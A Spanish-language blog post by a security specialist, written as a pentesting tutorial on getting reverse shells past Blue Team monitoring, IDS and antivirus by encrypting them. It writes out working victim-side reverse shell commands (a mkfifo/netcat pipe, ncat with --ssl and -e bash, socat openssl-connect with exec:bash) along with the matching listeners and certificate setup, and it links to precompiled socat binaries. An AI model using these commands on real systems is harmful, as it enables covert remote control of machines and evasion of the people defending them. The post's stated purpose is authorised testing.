Al momento de ejecutar un Pentest, nos encontramos en situaciones donde queremos pasar desapercibidos ante los equipos BLUE TEAM y los controles que se tengan implementados, es importante mencionar que el contenido se proporciona con fines netamente educativos.

Es usual utilizar netcat para obtener una sesión reversa desde el equipo que se haya comprometido. Sin embargo, en muchos casos en ambientes corporativos se cuentan con varios tipos de soluciones que pueden detectar fácilmente el tráfico de una “shell reversa”, como ser: sniffers de tráfico, soluciones de antivirus o IDS, por ello una buena práctica utilizar técnicas para cifrar las comunicaciones.

En esta entrada realizaremos una comparativa entre la forma común de obtener una shell reversa con netcat, versus la utilización de NCAT y SOCAT con las opciones de cifrado de comunicaciones que poseen estas herramientas.

UTILIZANDO EL CLÁSICO NETCAT

En la máquina atacante ejecutaremos netcat en modo escucha en el puerto 1337 e iniciaremos wireshark para inspeccionar el tráfico de red.

nc -nlvp 1337

Desde la maquina victima con linux ejecutaremos un shell reverso simple:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.30 1337 >/tmp/f

Una vez obtenida la shell reversa ejecutaremos algunos comandos para generar algo de tráfico para que podamos inspeccionar en la captura de wireshark.

La captura de wireshark muestra todas las acciones en texto plano, por ello es muy sencillo que cualquier solución detecte con mucha facilidad las acciones que se hayan realizado en la conexión reversa.

Para solucionar este problema utilizaremos algunas herramientas alternativas NCAT y SOCAT.

NCAT

Ncat fue escrito para el Proyecto Nmap como una re implementación muy mejorada del venerable Netcat. Utiliza tanto TCP como UDP para la comunicación y está diseñado para ser una herramienta de back-end confiable para proporcionar instantáneamente conectividad de red a otras aplicaciones y usuarios. Ncat no solo funciona con IPv4 e IPv6, pero las funcionalidades más interesantes que posee esta nueva versión son: soporte SSL, comunicación SOCKS4 que también posibilita utilizarlo en técnicas de movimiento lateral o pivoting.

Para generar una shell reversa con NCAT en nuestro equipo atacante ejecutaremos el siguiente comando, que nos va a generar certificados temporales para cifrar nuestra conexión (–ssl).

ncat -nlvp 1337 –ssl

En la máquina víctima ejecutaremos lo siguiente para obtener una shell reversa. 

ncat 192.168.0.30 1337 –ssl -e /usr/bin/bash

Al momento de verificar nuevamente el tráfico de nuestra nueva conexión reversa podemos visualizar que este se encuentra cifrado.

SOCAT

Ahora vamos a utilizar SOCAT, se trata de una herramienta similar a ncat con funcionalidades de comunicación bidireccional en canales independientes.

En este ejemplo vamos a ejecutar openssl para generar un certificado y una llave privada y proteger nuestra conexión reversa.  

openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 1000 -out cert.crt

obtendremos dos archivos, un certificado y una llave privada.

A continuación, vamos a generar un archivo PEM compatible con SOCAT.

socat `tty`,raw,echo=0 openssl-listen:1337,reuseaddr,cert=cert.pem,verify=0

donde: 

  • `tty`,raw,echo=0 (suprime el “echo” y permite obtener una terminal interactiva)
  • openssl-listen:<puerto> (socat en modo escucha)
  • reuseaddr (permite reutilizar el puerto de conexión)
  • cert=<ruta_certificado> (ubicación de nuestro certificado en formato PEM)
  • verify=0 (suprime la verificación del certificado)

Ahora vamos a ejecutar SOCAT en modo conexión desde nuestra máquina víctima.

socat openssl-connect:192.168.25.88:1337,verify=0 exec:bash,pty,stderr,setsid

donde:

  • openssl-connect:<ip>:<puerto> (socat modo conexión donde definimos la ip y puerto de nuestra máquina atacante)
  • verify=0 (suprime la verificación del certificado) 
  • exec:bash,pty,stderr,setsid (ejecución de bash, pty psudo terminal,stderr salida estándar de errores, setsid crea una nueva sesion)

El resultado es un shell reverso completamente interactivo.

y más importante aún, las comunicaciones se encuentran cifradas.

En el siguiente repositorio se pueden encontrar algunos binarios precompilados para otras arquitecturas y sistemas operativos, aún así es mucho más recomendable compilar el código por nuestra cuenta.

https://github.com/3ndG4me/socat/releases

Conclusión

En esta entrada se logró comparar y mostrar la importancia de cifrar nuestras comunicaciones al ejecutar procedimientos de pentest utilizando algunas funcionalidades de las herramientas NCAT y SOCAT.

Redacción: Carlos Gutierrez – Especialista en seguridad EHC Group.

Compartir